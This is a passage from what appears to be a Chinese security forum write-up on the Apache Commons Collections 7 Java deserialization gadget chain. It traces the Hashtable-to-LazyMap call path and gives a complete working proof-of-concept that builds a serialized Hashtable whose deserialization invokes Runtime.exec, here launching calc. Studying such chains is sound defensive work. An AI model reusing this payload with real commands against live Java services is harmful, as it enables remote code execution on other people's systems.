        throw new java.io.StreamCorruptedException();
    }
    // Makes sure the key is not already in the hashtable.
    // This should not happen in deserialized version.
    int hash = key.hashCode();
    int index = (hash & 0x7FFFFFFF) % tab.length;
    for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
        if ((e.hash == hash) && e.key.equals(key)) {
            throw new java.io.StreamCorruptedException();
        }
    }
    // Creates the new entry.
    @SuppressWarnings("unchecked")
        Entry<K,V> e = (Entry<K,V>)tab[index];
    tab[index] = new Entry<>(hash, key, value, e);
    count++;
}

跟进org.apache.commons.collections.map.AbstractMapDecorator#equals

public boolean equals(Object object) {
    return object == this ? true : this.map.equals(object);
}

跟进java.util.AbstractMap#equals,可以看到此处又是LazyMap.get,之后又是一样的操作了

public boolean equals(Object o) {
    if (o == this)
        return true;

    if (!(o instanceof Map))
        return false;
    Map<?,?> m = (Map<?,?>) o;
    if (m.size() != size())
        return false;

    try {
        Iterator<Entry<K,V>> i = entrySet().iterator();
        while (i.hasNext()) {
            Entry<K,V> e = i.next();
            K key = e.getKey();
            V value = e.getValue();
            if (value == null) {
                if (!(m.get(key)==null && m.containsKey(key)))
                    return false;
            } else {
                if (!value.equals(m.get(key)))
                    return false;
            }
        }
    } catch (ClassCastException unused) {
        return false;
    } catch (NullPointerException unused) {
        return false;
    }

    return true;
}

POC如下:

package CommonsCollections;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CommonsCollections7 {
    public static void main(String[] args) throws Exception{
        Transformer Testtransformer = new ChainedTransformer(new Transformer[]{});

        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        Map map1=new HashMap();
        Map map2=new HashMap();

        Map lazyMap1= LazyMap.decorate(map1,Testtransformer);
        Map lazyMap2= LazyMap.decorate(map2,Testtransformer);

        lazyMap1.put("yy",1);
        lazyMap2.put("zZ",1);

        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);
        lazyMap2.remove("yy");

        //通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令
        Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(Testtransformer, transformers);

        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
        outputStream.writeObject(hashtable);
        outputStream.close();

        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
        inputStream.readObject();

    }
}

这里需要注意的是我们加了一行这个代码:lazyMap2.remove("yy");,因为org.apache.commons.collections.map.LazyMap#get的时候会进行put操作,所以此时会多出一个yy的元素,所以需要将其移除,否则无法正常反序列化

总结

貌似没啥好总结的感觉挺水的,CommonsCollections1-7的链调试一下ysoserial应该基本都能看懂.jpg

Reference

https://www.freebuf.com/articles/web/214096.html

https://xz.aliyun.com/t/7157

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖